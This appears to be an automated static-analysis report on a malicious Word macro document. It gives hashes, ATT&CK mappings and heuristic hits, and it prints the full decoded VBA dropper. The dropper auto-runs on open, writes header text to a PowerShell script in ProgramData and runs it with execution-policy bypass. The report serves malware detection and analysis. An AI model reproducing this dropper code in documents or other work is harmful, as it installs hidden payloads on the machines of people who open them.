Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d7130e42663e95d2…

MALICIOUS

Office (OLE)

233.0 KB Created: 2018-04-24 09:09:00 Authoring application: Microsoft Office Word First seen: 2018-11-05
MD5: 485041067b8e37d3b172f5c0e700bff1 SHA-1: e8eeec7ebcd0801999a672b871f74d2a5e36d98b SHA-256: d7130e42663e95d23c547d57e55099c239fa249ce3f6537b7f2a8033f3aa73de
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro that executes upon opening the document. This macro writes a PowerShell script to disk at 'C:\programdata\Office365DCOMCheck.ps1' and then executes it using 'powershell.exe' with bypass execution policy. This indicates the document is a dropper for a secondary payload.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-6574109-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6574109-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    ComA = Replace("ComA", "\", "")
objShell.ShellExecute "powershell.exe", " -exec bypass -File C:\programdata\Office365DCOMCheck.ps1", "C:\ProgramData", "", 0
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Sub document_open()
Dim rng As Range
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1206 bytes
SHA-256: f294a6179c7cb758deabac5c9d762a3e0c0a569f6c82a497153455aa9273d0de
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
Dim rng As Range
Dim intSecCount As Integer
Dim intHFType As Integer
intSecCount = ActiveDocument.Sections.Count
For intSection = 1 To intSecCount
    With ActiveDocument.Sections(intSection)
            Set rng = ActiveDocument.Sections(intSection).Headers(1).Range
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Set oFile = fso.CreateTextFile("C:\programdata\Office365DCOMCheck.ps1")
oFile.WriteLine (rng)
oFile.Close
Set fso = Nothing
Set oFile = Nothing
    End With
Next intSection
Set objShell = CreateObject("shell.application")
Dim ComA As String
ComA = StrReverse("e/\/x/\/e/\/./\/l/\/l/\/e/\/h/\/s/\/r/\/e/\/w/\/o/\/p")
ComA = Replace("ComA", "/", "")
ComA = Replace("ComA", "\", "")
objShell.ShellExecute "powershell.exe", " -exec bypass -File C:\programdata\Office365DCOMCheck.ps1", "C:\ProgramData", "", 0
End Sub

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